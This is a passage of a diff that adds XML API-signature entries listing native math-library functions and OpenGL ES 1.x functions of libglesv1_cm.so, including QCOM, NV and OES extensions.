+ <method abstract="false" deprecated="not deprecated" final="true" name="fesetenv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="atan2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fmaxl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="powf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ccos" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="yn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="casinf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cacoshl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="casinh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fabs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="finitef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="powl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="casinl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="erf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tan" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="scalbf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sincos" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="carg" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="erfcf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="feraiseexcept" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="erfcl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="scalbn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="feclearexcept" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="csinf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cabs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="csinh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sqrtf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="csinl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="exp2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="jn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="roundf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="crealf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lgammal_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sqrtl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cpowf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="hypot" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="significand" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="copysign" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cosf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="roundl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="creall" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tgamma" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cosh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cpowl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cabsf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="truncf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cosl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="exp2f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="coshf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="__fe_dfl_env" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="scalblnf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cbrtf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="significandf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cabsl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gammaf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="truncl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="exp2l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="frexpf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="atanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="coshl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="asin" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cacosf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nan" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="rintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="atanh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="scalblnl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cacosh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cbrtl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="significandl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="erfc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lgammaf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="frexpl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="atanl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cacosl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="erff" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="floor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="rintl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="log10" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="log2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="csinhf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lgammal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="jnf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cbrt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="erfl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="scalbln" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="csinhl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="expm1f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pow" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="creal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lroundf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ccosf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="round" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fmod" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lgammaf_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ccosh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="expm1l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ctanhf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gammaf_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fdim" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lroundl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ccosl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ctanhl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="expf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nearbyint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="casin" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="atan" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="expl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lrint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ynf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lgamma_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fegetexceptflag" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="hypotf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="llroundf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="log10f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="rint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="expm1" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="floorf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="hypotl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="llroundl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libglesv1_cm.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetFramebuffersQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFinishFenceNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPointParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetTexLevelParameterivQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPointSizePointerOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPointSizePointerOESBounds" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEnableClientState" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFogf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexEnvf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawTexiOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexEnvi" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetProgramsQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetLightfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMultiTexCoord4f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteFencesNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexEnvxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetBuffersQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawElements" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClear" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glColor4f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindFramebufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFogx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexEnvx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexGenivOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearColorx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawTexfOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexEnvxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexGenfvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMultiTexCoord4x" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearDepthxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glOrthoxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetTexturesQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEndTilingQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteRenderbuffersOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetMaterialfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glColor4x" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glColorPointer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetProgramBinarySourceQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexEnviv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFlush" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexGenxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCullFace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMaterialfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexEnvxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glNormal3f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glColorMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFrustumxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetBooleanv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glColorPointerBounds" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawTexfvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexEnviv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexPointerBounds" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glScissor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetFixedv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glWeightPointerOESBounds" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetMaterialxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLoadIdentity" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPointParameterxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCurrentPaletteMatrixOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDisable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetClipPlanef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetLightxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glNormalPointerBounds" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glViewport" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFinish" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClipPlanefOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteTextures" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPointParameterxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glRotatexOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glNormal3x" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindRenderbufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFogxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEnableDriverControlQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEnable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glActiveTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBufferData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glOrthof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMultMatrixf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetLightxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearColor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetClipPlanex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexGeniOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLightModelfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLineWidthxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsVertexArrayOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLineWidthx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenRenderbuffersOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSampleCoveragexOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMatrixIndexPointerOESBounds" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStartTilingQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetRenderbufferParameterivOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMultiTexCoord4xOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glOrthox" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glAlphaFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMatrixIndexPointerOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMultMatrixx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindVertexArrayOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClipPlanefIMG" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glScalexOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexEnvxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetRenderbuffersQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexGenfOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetIntegerv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLightf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glShadeModel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDepthRangefOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenerateMipmapOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glHint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenFramebuffersOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
